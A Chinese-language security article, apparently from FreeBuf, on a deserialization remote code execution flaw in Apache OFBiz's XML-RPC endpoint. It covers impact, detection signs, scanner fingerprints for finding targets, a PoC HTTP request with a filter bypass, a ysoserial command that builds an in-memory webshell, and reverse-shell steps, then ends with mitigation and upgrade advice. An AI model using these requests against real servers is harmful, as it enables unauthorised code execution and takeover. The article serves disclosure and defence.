
产品简介
Apache OFBiz 是一个开源的企业资源计划系统。Apache OFBiz是由Apache公司维护的,开源的顶级可商用项目 · 其初衷是建立一套安全、可靠、有灵活扩展能力的企业资源管理(ERP)解决方案。Apache XML-RPC 是 XML-RPC 的 Java 实现,XML-RPC 是一种使用 XML over HTTP 来实现远程过程调用的协议。该框架使用的xmlrpc组件存在反序列化漏洞,通过特定路由可以往xmlrpc接口发送恶意数据实现远程代码执行。
漏洞详情
漏洞点位于Apache Ofbiz的XML-RPC组件,该组件存在已知的反序列化漏洞且组件已经不再维护。2020年Apache Ofbiz也曾出现过该组件的漏洞,当时存在漏洞的组件并未删除,此次的漏洞相当于是XML-RPC漏洞的另一利用。
漏洞影响
远程代码执行风险:这个漏洞允许未授权的攻击者在服务器上执行任意代码,这可能导致数据泄露、系统被勒索或控制权被夺取等严重的安全威胁。
数据安全和业务连续性:由于 Apache OFBiz 通常用于管理关键业务流程,此类攻击可能对业务操作产生重大影响,包括数据损坏和服务中断。
利用特征
流量分析:攻击者利用这个漏洞时,会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中,这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。
异常请求内容:利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构,如使用分号或路径穿越技术(../)。
特定的错误日志:在尝试进行反序列化攻击时,可能会在日志中观察到相关错误或异常信息,尤其是与 XML-RPC 组件相关的。
影响范围
Apache OFBiz < 18.12.10
指纹
FOFA
app="Apache_OFBiz"
鹰图
header="OFBiz"
漏洞复现
复现环境可复用历史漏洞【CVE-2020-9496】Vulhub环境
poc
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8 Accept-Encoding: gzip, deflate Accept: */* Connection: close <?xml version="1.0"?> <methodCall> <methodName>RCE</methodName> <params> <param> <value> <struct> <member> <name>RCE</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> [CB1 base64编码的序列化数据] </serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
验证漏洞是否存在:dnslog
dnslog域名申请:
1、执行的命令bash64编码:
编码生成地址:编码地址
2、使用ysoserial工具生成序列化数据
ysoserial下载地址:ysoserial
3、发送请求,域名解析,存在漏洞
命令执行:反弹shell
bash64编码
使用ysoserial工具生成序列化数据
开启监听
发送请求反弹shell
打入回显内存马
使用ysoserial工具生成序列化数据
java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | base64 | tr -d "\n"
自行下载ysoserial-main-49888d3191-1.jar
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1 Host: your ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 3033 cmd: id <?xml version="1.0"?> <methodCall> <methodName>RCE</methodName> <params> <param> <value> <struct> <member> <name>RCE</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> [CB1 base64编码的序列化数据] </serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
修复建议
临时缓解方案
禁用接口:如果XML-RPC接口不是业务必需的,可以考虑暂时禁用该接口,这也是官方补丁采取的做法。可以在服务器配置中禁用或重定向/control/xmlrpc路径,并通知相关团队和用户,说明暂时禁用的原因和期限。
增强监控:通过增强对网络和应用级的监控,以便及时响应可疑活动。利用入侵检测系统(IDS)和/或入侵防御系统(IPS)/或Web应用防火墙(WAF)对网络流量进行监控。定期审查系统日志,寻找异常或可疑流量。
网络ACL限制:通过网络层面的访问控制,限制对XML-RPC接口的访问,进一步减少潜在的攻击面。如果可能,暂时阻断所有外部访问XML-RPC接口的流量,直到安全漏洞得到彻底解决。
升级修复方案
官方在最新的版本中已经完全删除了XML-RPC组件。
- 升级Apache Ofbiz到18.12.10
- 对于二开系统在不影响业务的情况下请开发人员自行删除组件。
官网(https://ofbiz.apache.org/download.html)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)